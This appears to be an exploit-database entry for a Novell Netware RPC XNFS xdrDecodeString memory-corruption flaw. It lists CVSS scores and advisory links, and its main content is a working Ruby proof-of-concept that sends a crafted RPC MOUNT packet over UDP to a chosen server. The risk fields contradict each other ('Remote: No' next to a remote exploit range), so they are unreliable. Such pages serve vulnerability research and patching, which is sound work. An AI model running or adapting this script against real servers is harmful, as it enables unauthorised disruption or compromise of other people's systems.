Novell Netware RPC XNFS xdrDecodeString Vulnerability

2011.02.27
Risk: Medium
Local: No
Remote: No
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/ruby # Source: # http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24 require 'socket' netware_server = (ARGV[0]) target_port = (ARGV[1] || 1234) beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xa5" + # Program: 10005 MOUNT "\x00\x00\x00\x02" + # Program Version: 2 "\x00\x00\x00\x01" + # Procedure: MNT (1) "\x00\x00\x00\x00\x00\x00\x00\x00" + # "\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL "\x41\x42\x43\x44" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n" if (!(netware_server && target_port)) puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n" exit else puts "[+]Sending UDP Packet...\n" sock = UDPSocket.open sock.connect(netware_server, target_port.to_i) sock.send(beepbeep, 0) end

References:

http://xforce.iss.net/xforce/xfdb/65625
http://www.zerodayinitiative.com/advisories/ZDI-11-090
http://www.vupen.com/english/advisories/2011/0497
http://www.securitytracker.com/id?1025119
http://www.securityfocus.com/bid/46535
http://www.securityfocus.com/archive/1/archive/1/516645/100/0/threaded
http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24
http://www.exploit-db.com/exploits/16234
http://secunia.com/advisories/43431
http://download.novell.com/Download?buildid=1z3z-OsVCiE
~


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top